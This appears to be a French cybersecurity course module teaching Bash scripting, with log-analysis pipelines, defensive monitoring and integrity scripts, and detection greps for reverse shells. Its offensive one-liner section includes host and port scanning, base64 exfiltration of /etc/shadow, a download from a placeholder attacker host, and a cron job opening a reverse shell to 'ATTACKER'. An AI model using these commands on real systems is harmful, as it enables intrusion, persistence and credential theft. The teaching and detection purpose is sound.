Module T1 — Terrain

Bash Scripting pour la Cybersecurite

Automatise tes taches d'analyste SOC et de pentester avec Bash. Des one-liners aux scripts complets, maitrise l'outil le plus polyvalent du terminal.

  • Maitriser les fondamentaux du scripting Bash
  • Ecrire des scripts d'analyse et d'automatisation
  • Utiliser les one-liners offensifs et defensifs
  • Manipuler les donnees avec grep, awk, sed, cut
  • Creer des outils de monitoring et d'alerte

🐚 T1.1 — Pourquoi Bash en cybersecurite ?

Dans le monde de la cybersecurite, le terminal est ton meilleur allie. Que tu sois analyste SOC en train de trier des milliers de lignes de logs, pentester en phase d'enumeration, ou administrateur systeme gerant un parc de serveurs, Bash est partout. C'est le langage de scripting natif de Linux, present sur chaque serveur, chaque conteneur, chaque machine Kali.

Bash, c'est le couteau suisse de la cybersecurite. Imagine un outil unique qui te permet de couper (filtrer des logs), visser (automatiser des taches), scier (decouvrir des services), et meme deboucher des bouteilles (lancer des exploits). Tu n'as pas besoin d'installer quoi que ce soit : il est deja la, pret a l'emploi. Python est la boite a outils complete dans le garage, mais Bash est le couteau suisse que tu as toujours dans ta poche.

Les 5 raisons pour lesquelles Bash est indispensable

  • Ubiquite — Bash est installe par defaut sur pratiquement tous les systemes Linux/macOS. Meme les conteneurs Docker minimaux l'incluent souvent (sh au minimum).
  • Rapidite d'execution — Pour un one-liner rapide, Bash bat tout autre langage. Pas besoin d'importer des bibliotheques, de creer un fichier, ou de lancer un interpreteur.
  • Glue language — Bash excelle pour enchainer des outils existants. nmap | grep | awk | sort : chaque outil fait une chose, Bash les connecte ensemble.
  • Automatisation sans dependance — Un script Bash tourne sans installation supplementaire. Pas de pip install, pas de npm install, pas de runtime.
  • Acces systeme direct — Manipulation de fichiers, processus, reseau, permissions : tout est accessible nativement depuis Bash.

Quand utiliser Bash vs Python ?

CritereBashPython
One-liners et filtrage rapideExcellentTrop verbeux
Automatisation systemeIdealBon
Manipulation de logsTres rapideBon
Parsing JSON/XML complexeLimiteExcellent
Outils reseau avancesBasiqueExcellent (Scapy, Requests)
Prototypage rapideImbattableBon
Scripts de plus de 200 lignesDifficile a maintenirRecommande
Disponibilite sur les serveurs100%~80%

Temps gagne grace a l'automatisation Bash

TacheTemps manuelTemps avec BashGain
Analyser 10 000 lignes de auth.log~45 min~3 secx900
Verifier les ports ouverts sur 50 serveurs~2h~30 secx240
Extraire les IP uniques d'un log~20 min~1 secx1200
Surveiller les modifications de fichiers critiquesImpossible en continuScript cron automatiqueInfini
Generer un rapport de securite quotidien~1h~5 secx720
Philosophie Unix

Bash herite de la philosophie Unix : chaque programme fait une seule chose et la fait bien. Le pipe (|) est le ciment qui connecte ces outils entre eux. Un analyste SOC qui maitrise le pipe et les outils de base (grep, awk, sed, sort, uniq, cut) peut resoudre 90% des problemes d'analyse de donnees directement dans le terminal.

📜 T1.2 — Fondamentaux du scripting

Un script Bash est un fichier texte contenant une serie de commandes executees sequentiellement. Il commence toujours par un shebang (#!/bin/bash) qui indique au systeme quel interpreteur utiliser.

Structure de base d'un script

#!/bin/bash
# Nom    : mon_script.sh
# Auteur : analyst@soc
# Date   : 2026-02-24
# Desc   : Script d'exemple pour le module T1

# --- Variables ---
LOG_FILE="/var/log/auth.log"
ALERT_THRESHOLD=10
REPORT_DIR="/home/analyst/reports"

# --- Fonction principale ---
main() {
    echo "[*] Demarrage de l'analyse..."
    check_logs
    echo "[+] Analyse terminee."
}

# --- Appel ---
main "$@"
Permissions d'execution

Un script doit etre executable pour tourner directement. Deux options :

  • chmod +x mon_script.sh puis ./mon_script.sh
  • Ou directement : bash mon_script.sh (pas besoin de chmod)

Variables et types

Declaration et utilisation des variables

# Declaration (PAS d'espace autour du =)
NOM="analyst"
PORT=8080
LOG="/var/log/syslog"

# Utilisation avec $
echo "Utilisateur : $NOM"
echo "Port surveille : $PORT"

# Accolades pour delimiter (indispensable avant un suffixe)
echo "Fichier : ${LOG}_backup"

# Variables d'environnement
echo "Home : $HOME"
echo "Utilisateur courant : $USER"
echo "Shell : $SHELL"
echo "PATH : $PATH"

# Capture de commande (command substitution)
IP_LOCALE=$(hostname -I | awk '{print $1}')
DATE=$(date +%Y-%m-%d_%H:%M:%S)
NB_USERS=$(who | wc -l)

echo "[$DATE] IP locale : $IP_LOCALE — $NB_USERS utilisateurs connectes"

# Variables en lecture seule
readonly VERSION="1.0"
# VERSION="2.0"  # Erreur : variable en lecture seule

Tableaux (arrays)

# Tableau indexe
PORTS_SUSPECTS=(4444 5555 6666 31337 1337 9999)
CIBLES=("192.168.1.10" "192.168.1.20" "192.168.1.30")

# Acces a un element (index commence a 0)
echo "Premier port suspect : ${PORTS_SUSPECTS[0]}"   # 4444
echo "Deuxieme cible : ${CIBLES[1]}"                  # 192.168.1.20

# Tous les elements
echo "Tous les ports : ${PORTS_SUSPECTS[@]}"

# Nombre d'elements
echo "Nombre de cibles : ${#CIBLES[@]}"

# Ajouter un element
CIBLES+=("192.168.1.40")

# Boucle sur un tableau
for PORT in "${PORTS_SUSPECTS[@]}"; do
    echo "Verification du port $PORT..."
done

# Tableau associatif (Bash 4+)
declare -A SERVICES
SERVICES["22"]="SSH"
SERVICES["80"]="HTTP"
SERVICES["443"]="HTTPS"
SERVICES["3306"]="MySQL"

for PORT in "${!SERVICES[@]}"; do
    echo "Port $PORT = ${SERVICES[$PORT]}"
done

Variables speciales

VariableSignificationExemple
$0Nom du script./scan.sh
$1, $2, $3...Arguments positionnels./scan.sh 192.168.1.0/24
$#Nombre d'argumentsif [ $# -eq 0 ]; then...
$@Tous les arguments (separes)Dans une boucle for
$*Tous les arguments (une chaine)Moins utilise que $@
$?Code retour de la derniere commande0 = succes, autre = erreur
$$PID du script en coursUtile pour les fichiers temporaires
$!PID du dernier processus en arriere-planApres un &
$_Dernier argument de la commande precedenteRaccourci pratique
#!/bin/bash
# Utilisation des variables speciales

echo "Script : $0"
echo "Nombre d'args : $#"
echo "Arguments : $@"

if [ $# -lt 1 ]; then
    echo "Usage: $0 <cible> [port]"
    exit 1
fi

CIBLE=$1
PORT=${2:-80}  # Valeur par defaut : 80 si $2 non fourni

echo "Scan de $CIBLE sur le port $PORT"

Conditionnels : if, elif, else

Les tests conditionnels sont la base de toute logique en Bash. Ils utilisent les crochets [ ] (commande test) ou les doubles crochets [[ ]] (Bash etendu, recommande).

#!/bin/bash
# Verification de la securite d'un systeme

LOG="/var/log/auth.log"
SEUIL=5

# Test sur fichier
if [[ -f "$LOG" ]]; then
    echo "[+] Fichier $LOG trouve"
else
    echo "[-] Fichier $LOG introuvable"
    exit 1
fi

# Comptage des tentatives echouees
FAILS=$(grep -c "Failed password" "$LOG")

# Comparaison numerique
if [[ $FAILS -gt $SEUIL ]]; then
    echo "[!] ALERTE : $FAILS tentatives echouees (seuil: $SEUIL)"
elif [[ $FAILS -gt 0 ]]; then
    echo "[*] $FAILS tentatives echouees (sous le seuil)"
else
    echo "[+] Aucune tentative echouee"
fi

# Test sur chaine
USER_INPUT=$1
if [[ -z "$USER_INPUT" ]]; then
    echo "[-] Aucun argument fourni"
elif [[ "$USER_INPUT" == "scan" ]]; then
    echo "[*] Lancement du scan..."
else
    echo "[?] Commande inconnue : $USER_INPUT"
fi

Operateurs de test

CategorieOperateurDescription
Fichiers-f fichierLe fichier existe et est un fichier regulier
-d repertoireLe repertoire existe
-r fichierLe fichier est lisible
-w fichierLe fichier est modifiable (writable)
-x fichierLe fichier est executable
-s fichierLe fichier existe et n'est pas vide (size > 0)
Nombres-eqEgal (equal)
-neDifferent (not equal)
-gtSuperieur (greater than)
-geSuperieur ou egal (greater or equal)
-ltInferieur (less than)
-leInferieur ou egal (less or equal)
Chaines-z chaineLa chaine est vide (zero length)
-n chaineLa chaine n'est pas vide (non-zero)
== ou =Les chaines sont identiques
!=Les chaines sont differentes
Logique&&ET logique (AND)
||OU logique (OR)
!Negation (NOT)

Boucles : for, while, until

Boucle for — Iteration sur une liste

# Scan de ports sur une liste de cibles
CIBLES=("192.168.1.10" "192.168.1.20" "192.168.1.30")
PORTS=(22 80 443 8080 3306)

for IP in "${CIBLES[@]}"; do
    echo "=== Scan de $IP ==="
    for PORT in "${PORTS[@]}"; do
        (echo > /dev/tcp/$IP/$PORT) 2>/dev/null && \
            echo "  [OPEN] $IP:$PORT" || \
            echo "  [CLOSED] $IP:$PORT"
    done
done

# Boucle sur une plage de nombres
for i in {1..254}; do
    ping -c 1 -W 1 "192.168.1.$i" >/dev/null 2>&1 && \
        echo "192.168.1.$i est UP"
done

# Boucle sur les fichiers de logs
for LOGFILE in /var/log/*.log; do
    LINES=$(wc -l < "$LOGFILE")
    echo "$LOGFILE : $LINES lignes"
done

# Boucle de style C
for ((i=1; i<=10; i++)); do
    echo "Tentative $i/10..."
done

Boucle while — Tant que la condition est vraie

# Lecture ligne par ligne d'un fichier (methode recommandee)
while IFS= read -r LINE; do
    if [[ "$LINE" == *"Failed password"* ]]; then
        IP=$(echo "$LINE" | awk '{print $11}')
        echo "[!] Echec depuis : $IP"
    fi
done < /var/log/auth.log

# Surveillance en temps reel (boucle infinie)
while true; do
    CONNEXIONS=$(ss -tn | grep ESTAB | wc -l)
    echo "[$(date +%H:%M:%S)] $CONNEXIONS connexions actives"

    if [[ $CONNEXIONS -gt 50 ]]; then
        echo "[!] ALERTE : nombre de connexions anormal !"
    fi

    sleep 5
done

# Compteur avec while
TENTATIVES=0
MAX=3
while [[ $TENTATIVES -lt $MAX ]]; do
    echo "Tentative $((TENTATIVES+1))/$MAX..."
    # ... commande ...
    ((TENTATIVES++))
done

Boucle until — Jusqu'a ce que la condition soit vraie

# Attendre qu'un service soit disponible
echo "[*] Attente du serveur SSH..."
until nc -z 192.168.1.10 22 2>/dev/null; do
    echo "  [-] SSH non disponible, retry dans 5s..."
    sleep 5
done
echo "[+] SSH disponible !"

# Attendre qu'un fichier apparaisse
until [[ -f /tmp/scan_results.txt ]]; do
    echo "En attente des resultats..."
    sleep 2
done
echo "[+] Resultats disponibles !"

Fonctions

Les fonctions permettent de structurer le code, eviter la repetition, et rendre les scripts maintenables.

#!/bin/bash
# Script structure avec des fonctions

# Couleurs pour la sortie
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'  # No Color

# Fonctions utilitaires
log_info()  { echo -e "${GREEN}[+]${NC} $1"; }
log_warn()  { echo -e "${YELLOW}[!]${NC} $1"; }
log_error() { echo -e "${RED}[-]${NC} $1"; }

# Fonction avec arguments et valeur de retour
check_port() {
    local HOST=$1
    local PORT=$2

    (echo > /dev/tcp/$HOST/$PORT) 2>/dev/null
    return $?  # 0 = ouvert, 1 = ferme
}

# Fonction avec capture de sortie
get_failed_ips() {
    local LOGFILE=${1:-/var/log/auth.log}
    grep "Failed password" "$LOGFILE" \
        | awk '{print $(NF-3)}' \
        | sort | uniq -c | sort -rn
}

# Utilisation
log_info "Demarrage du scan"

if check_port "192.168.1.10" 22; then
    log_info "SSH ouvert sur 192.168.1.10"
else
    log_error "SSH ferme sur 192.168.1.10"
fi

log_info "Top IP des tentatives echouees :"
get_failed_ips "/var/log/auth.log"
Bonne pratique : local

Utilise toujours local pour declarer les variables dans les fonctions. Sans local, les variables sont globales et peuvent creer des conflits. C'est une source de bugs tres courante en Bash.

🔍 T1.3 — Manipulation de donnees : grep, awk, sed, cut

Ces quatre outils sont les piliers de l'analyse de donnees en ligne de commande. Un analyste SOC les utilise quotidiennement pour filtrer, extraire, transformer et formater les donnees de logs.

Imagine une chaine de montage : grep est le filtre qui ne laisse passer que les pieces qui t'interessent. awk est le robot precision qui decoupe et reorganise les pieces. sed est le peintre qui modifie l'apparence des pieces. cut est la cisaille qui decoupe a un endroit precis. Ensemble, ils transforment une montagne de donnees brutes en informations exploitables.

grep (Global Regular Expression Print) est l'outil fondamental pour rechercher des motifs dans du texte. C'est la premiere commande qu'un analyste SOC tape pour trouver ce qu'il cherche dans un log.

OptionDescriptionExemple
-iInsensible a la cassegrep -i "error" syslog
-cCompter les occurrencesgrep -c "Failed" auth.log
-vInverser (exclure le motif)grep -v "CRON" syslog
-nAfficher les numeros de lignegrep -n "root" /etc/passwd
-rRecursif dans les dossiersgrep -r "password" /etc/
-lLister seulement les fichiersgrep -rl "secret" /home/
-ERegex etendue (egrep)grep -E "error|warning|critical"
-oAfficher seulement la partie matcheegrep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'
-A nAfficher n lignes apres le matchgrep -A 3 "CRITICAL" syslog
-B nAfficher n lignes avant le matchgrep -B 5 "segfault" kern.log
-C nContexte (n lignes avant ET apres)grep -C 2 "exploit" access.log

Exemples concrets en cybersecurite

# Tentatives de brute force SSH
grep "Failed password" /var/log/auth.log

# Extraire les adresses IP des echecs
grep "Failed password" /var/log/auth.log | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'

# Compter les tentatives par IP
grep "Failed password" /var/log/auth.log \
    | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' \
    | sort | uniq -c | sort -rn | head -10

# Detecter les SQL injections dans les logs Apache
grep -E "(union.*select|or.*1.*=.*1|drop.*table|insert.*into)" /var/log/apache2/access.log

# Trouver les requetes suspectes (LFI, RFI, path traversal)
grep -E "(\.\.\/|etc\/passwd|proc\/self|php:\/\/)" /var/log/apache2/access.log

# Chercher des mots de passe en clair dans les fichiers de config
grep -ri "password\s*=" /etc/ --include="*.conf" 2>/dev/null

# Detecter les reverse shells potentiels
grep -rE "(bash -i|\/dev\/tcp|nc -e|mkfifo|exec 5)" /var/log/ 2>/dev/null

awk est un langage de traitement de texte ligne par ligne. Il excelle pour extraire des champs specifiques dans des donnees structurees (logs, CSV, sorties de commandes).

Principe : awk decoupe chaque ligne en champs (par defaut separes par des espaces). $1 = premier champ, $2 = deuxieme, $NF = dernier, $0 = ligne entiere.

# Syntaxe de base
awk 'condition { action }' fichier

# Extraire le 1er champ (IP) des logs Apache (format combined)
awk '{print $1}' /var/log/apache2/access.log

# Top 10 des IP les plus actives
awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head -10

# Extraire les IP avec status 403 (Forbidden)
awk '$9 == 403 {print $1, $7}' /var/log/apache2/access.log

# Extraire les requetes de plus de 10 000 octets (champ 10 = bytes)
awk '$10 > 10000 {print $1, $7, $10}' /var/log/apache2/access.log

# Compter les requetes par code HTTP
awk '{count[$9]++} END {for (code in count) print code, count[code]}' \
    /var/log/apache2/access.log | sort -k2 -rn

# Separateur personnalise (: pour /etc/passwd)
awk -F: '{print $1, $3, $7}' /etc/passwd

# Trouver les comptes avec UID 0 (root-level)
awk -F: '$3 == 0 {print "[!] UID 0 :", $1, "shell:", $7}' /etc/passwd

# Comptes avec shell interactif
awk -F: '$7 ~ /bash|sh$/ {print $1, $7}' /etc/passwd

# Formater la sortie
awk -F: 'BEGIN {printf "%-15s %-6s %s\n", "USER", "UID", "SHELL"}
         $3 >= 1000 && $3 < 65534 {printf "%-15s %-6s %s\n", $1, $3, $7}' /etc/passwd

sed (Stream Editor) modifie du texte a la volee sans ouvrir de fichier. Ideal pour les substitutions, suppressions et transformations de texte.

# Substitution de base : s/ancien/nouveau/
# Masquer les IP dans les logs avant de les partager
sed 's/[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}/[IP_MASQUEE]/g' access.log

# Remplacer un mot (g = global, toutes les occurrences sur la ligne)
sed 's/HTTP/HTTPS/g' config.txt

# Supprimer les lignes contenant un motif
sed '/CRON/d' /var/log/syslog     # Supprimer les lignes CRON
sed '/^#/d' /etc/apache2/apache2.conf   # Supprimer les commentaires
sed '/^$/d' config.txt             # Supprimer les lignes vides

# Supprimer les commentaires ET les lignes vides
sed '/^#/d; /^$/d' /etc/ssh/sshd_config

# Afficher une plage de lignes (equivalent de head/tail precis)
sed -n '100,200p' access.log       # Lignes 100 a 200

# Inserer du texte
sed '1i\# Fichier modifie le 2026-02-24' config.txt   # Avant la ligne 1
sed '$a\# Fin du fichier' config.txt                   # Apres la derniere ligne

# Modification in-place (attention: modifie le fichier !)
sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config

# Backup avant modification (-i.bak cree une copie .bak)
sed -i.bak 's/PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config

# Extraire entre deux motifs
sed -n '/BEGIN ATTACK/,/END ATTACK/p' incident.log

cut est l'outil le plus simple pour extraire des colonnes ou des caracteres specifiques. Plus rapide que awk pour les decoupages simples.

# Decoupage par delimiteur (-d) et champ (-f)
# Extraire les noms d'utilisateurs de /etc/passwd
cut -d: -f1 /etc/passwd

# Extraire username et shell
cut -d: -f1,7 /etc/passwd

# Extraire les champs 1 a 3
cut -d: -f1-3 /etc/passwd

# Decoupage par caracteres
# Extraire les 10 premiers caracteres de chaque ligne
cut -c1-10 access.log

# Combiner avec d'autres outils
# IP et methode HTTP depuis les logs Apache
awk '{print $1, $6}' access.log | cut -d'"' -f2

# Extraire les dates d'un log syslog (caracteres 1-15)
cut -c1-15 /var/log/syslog | sort | uniq -c | sort -rn
Astuce : sort | uniq -c | sort -rn

Ce trio magique est le compteur universel en Bash :

  • sort — trie les lignes (necessaire pour uniq)
  • uniq -c — compte les lignes consecutives identiques
  • sort -rn — trie par nombre decroissant (-r = reverse, -n = numerique)

Utilise-le pour obtenir un "top N" de n'importe quoi : IP, URLs, user-agents, codes HTTP...

Pipeline complet : exemple d'analyse de logs Apache

# Scenario : trouver les attaques potentielles dans les logs Apache

# 1. Top 10 des IP les plus actives (potentiel scan/DDoS)
awk '{print $1}' /var/log/apache2/access.log \
    | sort | uniq -c | sort -rn | head -10

# 2. Requetes avec erreurs 4xx/5xx
awk '$9 ~ /^[45]/ {print $1, $9, $7}' /var/log/apache2/access.log \
    | sort | uniq -c | sort -rn | head -20

# 3. Detection de directory traversal
grep -E "\.\.\/" /var/log/apache2/access.log \
    | awk '{print $1, $7}' | sort -u

# 4. User-agents suspects (sqlmap, nikto, dirbuster...)
awk -F'"' '{print $6}' /var/log/apache2/access.log \
    | grep -iE "(sqlmap|nikto|dirbuster|gobuster|wfuzz|burp)" \
    | sort | uniq -c | sort -rn

# 5. Timeline des attaques : requetes par heure
awk '{print $4}' /var/log/apache2/access.log \
    | cut -d: -f2 | sort | uniq -c

# 6. Pipeline complet : rapport d'anomalies
echo "=== RAPPORT D'ANALYSE — $(date) ==="
echo ""
echo "--- Top 5 IP (volume) ---"
awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head -5
echo ""
echo "--- Requetes suspectes (SQLi/XSS/LFI) ---"
grep -cE "(union.*select|\.\.\/)|(script>)" /var/log/apache2/access.log
echo ""
echo "--- Codes 403 (acces refuse) ---"
awk '$9==403' /var/log/apache2/access.log | wc -l

⚡ T1.4 — One-liners offensifs et defensifs

Les one-liners sont des commandes puissantes tenant en une seule ligne. Ils sont l'arme secrete des analystes SOC et des pentesters pour obtenir des resultats rapides sans ecrire de script complet.

Avertissement legal

Les one-liners offensifs ne doivent etre utilises que dans un cadre autorise : labs, CTF, pentests avec contrat. L'utilisation non autorisee constitue un delit penal. Teste toujours sur tes propres systemes ou avec une autorisation ecrite.

One-liners defensifs (Analyste SOC / Blue Team)

ObjectifOne-liner
Top 10 IP brute force SSH grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10
Connexions etablies en temps reel watch -n 2 'ss -tn state established | awk "{print \$5}" | cut -d: -f1 | sort | uniq -c | sort -rn'
Processus avec connexions reseau ss -tnp | awk '{print $6}' | sort -u
Fichiers modifies dans les 24h find /etc -type f -mtime -1 -ls 2>/dev/null
Trouver les fichiers SUID find / -perm -4000 -type f -ls 2>/dev/null
Cron jobs de tous les utilisateurs for USER in $(cut -d: -f1 /etc/passwd); do echo "=== $USER ==="; crontab -l -u $USER 2>/dev/null; done
Verifier les comptes UID 0 awk -F: '$3 == 0 {print $1}' /etc/passwd
Comptes sans mot de passe awk -F: '($2 == "" || $2 == "!") {print $1}' /etc/shadow
Ports en ecoute suspects ss -tulnp | grep -vE ":(22|80|443|53) "
Hash de fichiers critiques sha256sum /etc/passwd /etc/shadow /etc/hosts /etc/crontab 2>/dev/null

One-liners offensifs (Pentester / Red Team)

Environnement controle uniquement

Ces commandes sont presentees a titre educatif pour comprendre les techniques d'attaque. Elles doivent etre connues par les defenseurs pour mieux detecter et prevenir les intrusions.

# === RECONNAISSANCE ===

# Ping sweep (decouverte d'hotes)
for i in {1..254}; do (ping -c 1 -W 1 192.168.1.$i >/dev/null 2>&1 && echo "UP: 192.168.1.$i" &); done; wait

# Port scan avec /dev/tcp (sans nmap !)
for PORT in 21 22 23 25 53 80 110 135 139 443 445 993 995 1433 3306 3389 5432 8080 8443; do
    (echo > /dev/tcp/192.168.1.10/$PORT) 2>/dev/null && echo "[OPEN] $PORT"
done

# Banner grabbing
echo "" | nc -w 3 192.168.1.10 22   # Banner SSH
curl -sI http://192.168.1.10        # Headers HTTP

# === ENUMERATION ===

# Enumeration DNS
for SUB in www mail ftp vpn admin dev staging api; do
    host "$SUB.cible.com" 2>/dev/null | grep "has address" && echo "[+] $SUB.cible.com"
done

# === EXFILTRATION / TRANSFERT ===

# Serveur HTTP rapide pour transferer des fichiers
python3 -m http.server 8888     # Sur la machine attaquante
# wget http://ATTACKER:8888/tool.sh   # Depuis la cible

# Encoder un fichier en base64 pour l'exfiltrer
base64 /etc/shadow | tr -d '\n'

# === PERSISTENCE (A CONNAITRE POUR LA DEFENSE) ===

# Ajouter une cle SSH autorisee
# echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys

# Cron job de callback
# (crontab -l; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'") | crontab -

Detection des techniques offensives

Pour chaque technique offensive, voici le one-liner defensif correspondant :

Technique offensiveDetection (Blue Team)
Reverse shell via /dev/tcp grep -rE "/dev/tcp|/dev/udp" /proc/*/fd/ 2>/dev/null
Cron job malveillant grep -r "dev/tcp\|nc -e\|mkfifo\|bash -i" /var/spool/cron/ /etc/cron* 2>/dev/null
Cle SSH non autorisee find /home -name "authorized_keys" -exec wc -l {} + 2>/dev/null
Binaire SUID suspect find / -perm -4000 -newer /etc/passwd -ls 2>/dev/null
Process cache dans /tmp ou /dev/shm ls -la /tmp/.* /dev/shm/.* 2>/dev/null
Connexion sortante suspecte ss -tnp | awk '$4 !~ /:53$|:80$|:443$/ && $5 ~ /ESTAB/ {print}'

🛠️ T1.5 — Scripts pratiques pour le SOC

Voici des scripts complets, commentes et prets a l'emploi pour un analyste SOC. Chaque script peut etre adapte a ton environnement.

Ce script surveille les connexions reseau en temps reel et alerte en cas d'anomalie (trop de connexions depuis une IP, ports suspects, connexions vers des pays inhabituels).

#!/bin/bash
#============================================================
# conn_monitor.sh — Moniteur de connexions suspectes
# Usage : ./conn_monitor.sh [seuil] [intervalle_sec]
#============================================================

SEUIL=${1:-10}          # Nombre max de connexions par IP
INTERVALLE=${2:-10}     # Intervalle de verification en secondes
LOG="/var/log/conn_monitor.log"
PORTS_SUSPECTS="4444 5555 6666 1337 31337 9999 4443"

# Couleurs
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

log_msg() {
    local LEVEL=$1
    local MSG=$2
    local TIMESTAMP=$(date '+%Y-%m-%d %H:%M:%S')
    echo -e "${TIMESTAMP} [${LEVEL}] ${MSG}" | tee -a "$LOG"
}

check_connections() {
    echo -e "\n${GREEN}[$(date +%H:%M:%S)]${NC} Analyse des connexions..."

    # Compter les connexions par IP distante
    ss -tn state established 2>/dev/null \
        | awk 'NR>1 {print $5}' \
        | cut -d: -f1 \
        | sort | uniq -c | sort -rn \
        | while read COUNT IP; do
            if [[ $COUNT -gt $SEUIL ]]; then
                log_msg "ALERTE" "${RED}$IP a $COUNT connexions (seuil: $SEUIL)${NC}"
            fi
        done

    # Verifier les ports suspects
    for PORT in $PORTS_SUSPECTS; do
        RESULT=$(ss -tlnp 2>/dev/null | grep ":${PORT} ")
        if [[ -n "$RESULT" ]]; then
            log_msg "DANGER" "${RED}Port suspect $PORT en ecoute !${NC}"
            log_msg "DETAIL" "$RESULT"
        fi
    done

    # Nombre total de connexions
    TOTAL=$(ss -tn state established 2>/dev/null | wc -l)
    log_msg "INFO" "Connexions actives : $TOTAL"
}

# Boucle principale
log_msg "START" "Demarrage du moniteur (seuil=$SEUIL, intervalle=${INTERVALLE}s)"
echo -e "${YELLOW}Ctrl+C pour arreter${NC}"

while true; do
    check_connections
    sleep "$INTERVALLE"
done

Ce script genere un rapport d'analyse complet a partir des logs Apache : top IP, codes d'erreur, attaques potentielles, user-agents suspects.

#!/bin/bash
#============================================================
# apache_analyzer.sh — Analyseur de logs Apache
# Usage : ./apache_analyzer.sh [fichier_log] [top_n]
#============================================================

LOGFILE=${1:-/var/log/apache2/access.log}
TOP_N=${2:-10}
REPORT="/tmp/apache_report_$(date +%Y%m%d_%H%M%S).txt"

# Verification
if [[ ! -f "$LOGFILE" ]]; then
    echo "[-] Fichier $LOGFILE introuvable"
    exit 1
fi

TOTAL_LINES=$(wc -l < "$LOGFILE")

{
echo "=============================================="
echo "  RAPPORT D'ANALYSE APACHE"
echo "  Fichier : $LOGFILE"
echo "  Date    : $(date '+%Y-%m-%d %H:%M:%S')"
echo "  Lignes  : $TOTAL_LINES"
echo "=============================================="

echo ""
echo "=== TOP $TOP_N IP (Volume de requetes) ==="
awk '{print $1}' "$LOGFILE" | sort | uniq -c | sort -rn | head -"$TOP_N"

echo ""
echo "=== Distribution des codes HTTP ==="
awk '{print $9}' "$LOGFILE" | grep -E '^[0-9]+$' | sort | uniq -c | sort -rn

echo ""
echo "=== TOP $TOP_N Requetes 404 (Not Found) ==="
awk '$9 == 404 {print $7}' "$LOGFILE" | sort | uniq -c | sort -rn | head -"$TOP_N"

echo ""
echo "=== TOP $TOP_N Requetes 403 (Forbidden) ==="
awk '$9 == 403 {print $1, $7}' "$LOGFILE" | sort | uniq -c | sort -rn | head -"$TOP_N"

echo ""
echo "=== TOP $TOP_N Requetes 500 (Erreurs serveur) ==="
awk '$9 == 500 {print $7}' "$LOGFILE" | sort | uniq -c | sort -rn | head -"$TOP_N"

echo ""
echo "=== DETECTION D'ATTAQUES ==="

echo ""
echo "--- SQL Injection ---"
SQLI=$(grep -ciE "(union.*select|or.*1.*=.*1|drop.*table|insert.*into|select.*from)" "$LOGFILE")
echo "Tentatives detectees : $SQLI"
if [[ $SQLI -gt 0 ]]; then
    grep -iE "(union.*select|or.*1.*=.*1)" "$LOGFILE" | awk '{print $1, $7}' | head -5
fi

echo ""
echo "--- Path Traversal / LFI ---"
LFI=$(grep -cE "(\.\.\/|etc\/passwd|proc\/self)" "$LOGFILE")
echo "Tentatives detectees : $LFI"

echo ""
echo "--- XSS ---"
XSS=$(grep -ciE "(
                  

Ce script cree une base de reference des hashes SHA-256 de fichiers critiques, puis les verifie a chaque execution pour detecter les modifications non autorisees.

#!/bin/bash
#============================================================
# integrity_check.sh — Verificateur d'integrite de fichiers
# Usage : ./integrity_check.sh [init|check]
#============================================================

BASELINE="/var/lib/integrity_baseline.sha256"
ALERT_LOG="/var/log/integrity_alerts.log"

# Fichiers critiques a surveiller
FILES=(
    "/etc/passwd"
    "/etc/shadow"
    "/etc/group"
    "/etc/hosts"
    "/etc/crontab"
    "/etc/ssh/sshd_config"
    "/etc/sudoers"
    "/etc/resolv.conf"
    "/etc/ld.so.preload"
    "/root/.bashrc"
    "/root/.ssh/authorized_keys"
)

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

init_baseline() {
    echo "[*] Creation de la baseline d'integrite..."
    > "$BASELINE"

    for FILE in "${FILES[@]}"; do
        if [[ -f "$FILE" ]]; then
            sha256sum "$FILE" >> "$BASELINE"
            echo -e "  ${GREEN}[+]${NC} $FILE"
        else
            echo -e "  ${YELLOW}[?]${NC} $FILE (non trouve)"
        fi
    done

    # Proteger la baseline
    chmod 600 "$BASELINE"
    echo ""
    echo -e "${GREEN}[+] Baseline creee : $BASELINE${NC}"
    echo "[*] $(wc -l < "$BASELINE") fichiers indexes"
}

check_integrity() {
    if [[ ! -f "$BASELINE" ]]; then
        echo -e "${RED}[-] Baseline introuvable. Executez d'abord : $0 init${NC}"
        exit 1
    fi

    echo "[*] Verification d'integrite — $(date)"
    ALERT=0

    while IFS=' ' read -r HASH_REF FILE; do
        # Ignorer le separateur (deuxieme champ est * ou espace)
        FILE=$(echo "$FILE" | sed 's/^\*//')

        if [[ ! -f "$FILE" ]]; then
            echo -e "${RED}[!!] FICHIER SUPPRIME : $FILE${NC}"
            echo "$(date) DELETED $FILE" >> "$ALERT_LOG"
            ((ALERT++))
            continue
        fi

        HASH_NOW=$(sha256sum "$FILE" | awk '{print $1}')

        if [[ "$HASH_REF" != "$HASH_NOW" ]]; then
            echo -e "${RED}[!!] MODIFIE : $FILE${NC}"
            echo -e "     Attendu : $HASH_REF"
            echo -e "     Actuel  : $HASH_NOW"
            echo "$(date) MODIFIED $FILE old=$HASH_REF new=$HASH_NOW" >> "$ALERT_LOG"
            ((ALERT++))
        else
            echo -e "  ${GREEN}[OK]${NC} $FILE"
        fi
    done < "$BASELINE"

    echo ""
    if [[ $ALERT -gt 0 ]]; then
        echo -e "${RED}[!] $ALERT ANOMALIE(S) DETECTEE(S) ! Voir $ALERT_LOG${NC}"
        exit 2
    else
        echo -e "${GREEN}[+] Tous les fichiers sont integres.${NC}"
    fi
}

# Main
case "${1:-check}" in
    init)  init_baseline ;;
    check) check_integrity ;;
    *)     echo "Usage: $0 [init|check]" ;;
esac
